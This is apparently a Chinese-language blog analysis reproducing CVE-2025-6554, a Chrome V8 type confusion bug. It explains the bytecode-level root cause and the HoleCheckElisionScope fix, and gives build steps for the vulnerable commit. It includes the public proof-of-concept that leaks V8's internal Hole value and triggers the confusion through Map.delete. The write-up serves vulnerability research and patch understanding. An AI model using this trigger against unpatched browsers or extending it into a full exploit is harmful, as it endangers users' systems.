CVE-2025-6554漏洞复现

1,130 阅读6分钟

Chrome V8 在野 0day CVE-2025-6554 深度分析

说点题外话:这是一个非常清爽的类型混淆漏洞,代码简洁优雅,看得人赏心悦目。


📋 漏洞概述

CVE-2025-6554 是 Chrome V8 JavaScript 引擎中的一个类型混淆漏洞(Type Confusion) 。攻击者可以通过构造特定的 JavaScript 表达式触发该漏洞,最终可能导致远程代码执行(RCE)

漏洞时间线

  • 2025年6月30日:Google 修复漏洞并确认存在在野利用
  • 2025年7月2日:研究员 @DarkNavyOrg 在 X 平台公开 PoC
  • 修复版本:Commit 22e9d9621de58ec6fe6581b56215059a48451b9f

修复 Commit 信息

22e9d96 [interpreter] don't elide hole checks across optional chain
Bug: 427663123
Author: Stephen Roettger <sroettger@google.com>
Date: Thu Jun 26 08:33:16 2025

🔍 一、漏洞原理深度剖析

1.1 PoC 分析

function f() {
    let x;
    delete x?.[y]?.a;  // 核心:可选链 + delete 操作
    return y;
    let y;             // TDZ: y 声明在 return 之后
}

let hole = f();
let map = new Map();
map.delete(hole);      // 触发类型混淆

1.2 关键技术点解析

1) 可选链操作符(Optional Chaining)?.
  • 可选链的语义是:如果左侧表达式为 nullundefined,则短路返回 undefined,不会访问后续属性
  • 在 PoC 中:xundefinedx?.[y] 应该返回 undefined
  • V8 在字节码生成阶段,遇到 xundefined 时会通过 JumpIfUndefinedOrNull 指令跳转,绕过对 y 的访问
2) "Hole" 类型的本质
  • Hole 是 V8 引擎内部的特殊值,用于表示数组/对象中的"空位"(如 [1,,3] 中的中间元素)
  • Hole 本不应该暴露给 JavaScript 用户代码,但通过特定构造可以让其"泄露"出来
  • 历史上通过 Hole 实现代码执行的案例包括 CVE-2023-3079
3) 暂时性死区(Temporal Dead Zone, TDZ)
  • 使用 let/const 声明的变量在初始化前无法访问,访问会抛出 ReferenceError
  • 在 PoC 中:ydelete 表达式中被使用,但其 let y 声明在后面
  • V8 内部通过将 TDZ 变量的值设为 Hole 来实现这一机制,当检测到 Hole 时会调用 ThrowReferenceErrorIfHole 抛出错误

1.3 漏洞触发流程

初始状态:
├─ x = undefined (未初始化)
└─ y = hole (TDZ 状态)

执行 delete x?.[y]?.a:
├─ 判断 x == undefined ✓
├─ 跳转到短路逻辑
├─ 【漏洞点】跳过了 y 的 Hole 检查
└─ 直接返回 y (此时 y 仍是 hole)

结果:函数返回了本不应暴露的 Hole 值

🛠️ 二、字节码层面的漏洞根因

通过 d8 --print-bytecode 输出的字节码可以清晰看到问题:

2.1 漏洞版本字节码(简化)

 0: LdaTheHole           ; r1 = hole (y 的初始值)
 1: Star1               ; 存储到 r1
 2: LdaUndefined        ; r2 = undefined
 3: Star2               ; 存储到 r2 (x 的值)
 
 7: JumpIfUndefinedOrNull [25]  ; 如果 x 是 undefined/null,跳到 25
 
 9: Ldar r1             ; 加载 y
11: ThrowReferenceErrorIfHole  ; 【检查点1】检测 y 是否为 hole
    ; ... 访问 x[y].a 的逻辑 ...
    
25: Ldar r1             ; 【漏洞!】直接加载 y (hole)
26: Return              ; 返回 hole 值 ❌

问题所在

  • xundefined 时,代码跳转到第 25 行,直接返回 y
  • 返回路径上没有 ThrowReferenceErrorIfHole 检查,导致 Hole 值被返回

2.2 修复后字节码(简化)

 0: LdaTheHole
 1: Star1
 2: LdaUndefined
 3: Star2
 
 7: JumpIfUndefinedOrNull [27]  ; 跳转目标调整
 
 9: Ldar r1
11: ThrowReferenceErrorIfHole  ; 【检查点1】
    ; ... x[y].a 逻辑 ...
    
27: Ldar r1             ; 加载 y
28: ThrowReferenceErrorIfHole  ; 【检查点2】新增检查 
29: Return              ; 安全返回

🔧 三、修复原理详解

3.1 核心修改:引入 HoleCheckElisionScope

修复的核心是在 OptionalChainNullLabelScope 函数中增加了 HoleCheckElisionScope

修改前的代码逻辑
// src/interpreter/bytecode-generator.cc (漏洞版本)
void BytecodeGenerator::VisitDelete(...) {
    // ... 可选链处理 ...
    if (expr->IsOptionalChain()) {
        OptionalChainNullLabelScope scope(this);
        // ❌ 缺少 HoleCheckElisionScope
        VisitForAccumulatorValue(property);  // 触发 BuildThrowIfHole
        // hole check 状态"污染"了父级作用域
    }
    // ...
}
修改后的代码逻辑
void BytecodeGenerator::VisitDelete(...) {
    if (expr->IsOptionalChain()) {
        OptionalChainNullLabelScope scope(this);
        HoleCheckElisionScope hole_check_scope_(this);  // ✅ 新增
        VisitForAccumulatorValue(property);
        // hole check 状态被限制在当前作用域
    }
}

3.2 hole_check_bitmap_ 机制详解

V8 使用 hole_check_bitmap_ 位图记录每个基本块中哪些变量已完成 Hole 检查:

工作原理
class HoleCheckElisionScope {
public:
    HoleCheckElisionScope(BytecodeGenerator* gen) 
        : generator_(gen),
          prev_bitmap_(gen->hole_check_bitmap_) {
        // 保存旧 bitmap,创建新的空白 bitmap
        generator_->hole_check_bitmap_ = {};
    }
    
    ~HoleCheckElisionScope() {
        // 恢复旧 bitmap
        generator_->hole_check_bitmap_ = prev_bitmap_;
    }
private:
    BytecodeGenerator* generator_;
    HoleCheckBitmap prev_bitmap_;
};
Bitmap 的作用
  1. 进入新的基本块时,创建独立的 bitmap
  2. 变量通过 Hole 检查后,调用 RememberHoleCheckInCurrentBlock 标记该变量为"已检查"
  3. 后续访问同一变量时,VariableNeedsHoleCheckInCurrentBlock 检测 bitmap,若已检查则跳过
  4. 退出基本块时,恢复上一级的 bitmap

3.3 漏洞的根本原因

没有使用 HoleCheckElisionScope 时,VisitDelete 中对 y 的 Hole 检查状态会"污染"父级的 bitmap:

基本流程:
1. 进入函数 f(),创建空白 basicBitmap
2. 进入 VisitDelete (处理 delete x?.[y]?.a)
   - ❌ 没有创建独立的 currentBitmap
   - 调用 BuildThrowIfHole 检查 y
   - 通过 RememberHoleCheckInCurrentBlock 标记 y 已检查
   - 【问题】标记写入了 basicBitmap ❌
3. 由于 x == undefined,字节码跳转到 return y
4. return y 执行时:
   - 调用 VariableNeedsHoleCheckInCurrentBlock 检查 basicBitmap
   - 发现 y 已标记为"已检查" ✓
   - 跳过 BuildThrowIfHole ❌
   - 直接返回 Hole 值 ❌

修复后,HoleCheckElisionScopeVisitDelete 中的检查状态隔离,不会影响外部的 return y


📊 四、修复效果对比

4.1 函数调用栈对比

漏洞版本(仅1次 Hole 检查)
BuildThrowIfHole (y)
├─ 调用来源: VisitDelete
│  └─ 处理 x?.[y]?.a
├─ 标记写入: basicBitmap ❌
└─ return y 时跳过检查 ❌
修复版本(2次 Hole 检查)
1次 BuildThrowIfHole (y)
├─ 调用来源: VisitDelete
│  └─ HoleCheckElisionScope 隔离 ✓
└─ 标记写入: currentBitmap (不污染 basicBitmap)

第2次 BuildThrowIfHole (y)
├─ 调用来源: VisitReturnStatement
├─ 检查 basicBitmap: y 未标记为已检查 ✓
└─ 生成 ThrowReferenceErrorIfHole 指令 ✓

4.2 测试用例验证

PoC 来源DarkNavySecurity/PoC(写得非常简洁优雅 👍)

function f() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}

let hole = f();
print(%StrictEqual(hole, %TheHole()));  // 修复前: true, 修复后: 抛出 ReferenceError
let map = new Map();
map.delete(hole);

修复前行为

  • 返回 %TheHole() 内部值
  • map.delete(hole) 触发类型混淆

修复后行为

  • return y 时抛出 ReferenceError
  • 无法获取 Hole 值,漏洞消除

🔬 五、复现环境搭建

5.1 获取漏洞版本

# 漏洞版本(修复前)
git clone https://chromium.googlesource.com/v8/v8.git
cd v8
git checkout 47c9ee633a84c0f9b990dee0b9f288e03cbcf495

# 编译
gclient sync
tools/dev/gm.py x64.debug

5.2 复现结果

  • 时间:2025年10月9日
  • 状态:✅ 复现成功,触发稳定
  • 备注:之前复现失败是环境配置问题(已解决)

📚 六、关键术语表

术语解释
HoleV8 内部表示"空位"的特殊值,不应暴露给 JS 代码
TDZ暂时性死区,let/const 变量在声明前的不可访问状态
Hole Check Elision跳过 Hole 检查的优化机制(需谨慎使用)
HoleCheckElisionScope限制 Hole 检查状态作用域的 RAII 类
hole_check_bitmap_记录变量 Hole 检查状态的位图

🎯 七、安全启示

7.1 对开发者的建议

  1. 谨慎使用可选链与 delete 组合:这种边缘场景可能触发引擎优化漏洞
  2. 避免依赖 TDZ 的边界行为:变量应在声明后再使用

7.2 对引擎开发者的教训

  1. 优化隔离原则:任何改变检查状态的操作必须使用 HoleCheckElisionScope 隔离
  2. 对称性要求BuildThrowIfHoleHoleCheckElisionScope 必须成对出现
  3. 复杂控制流的完整性验证:可选链的多个分支都需要完整的安全检查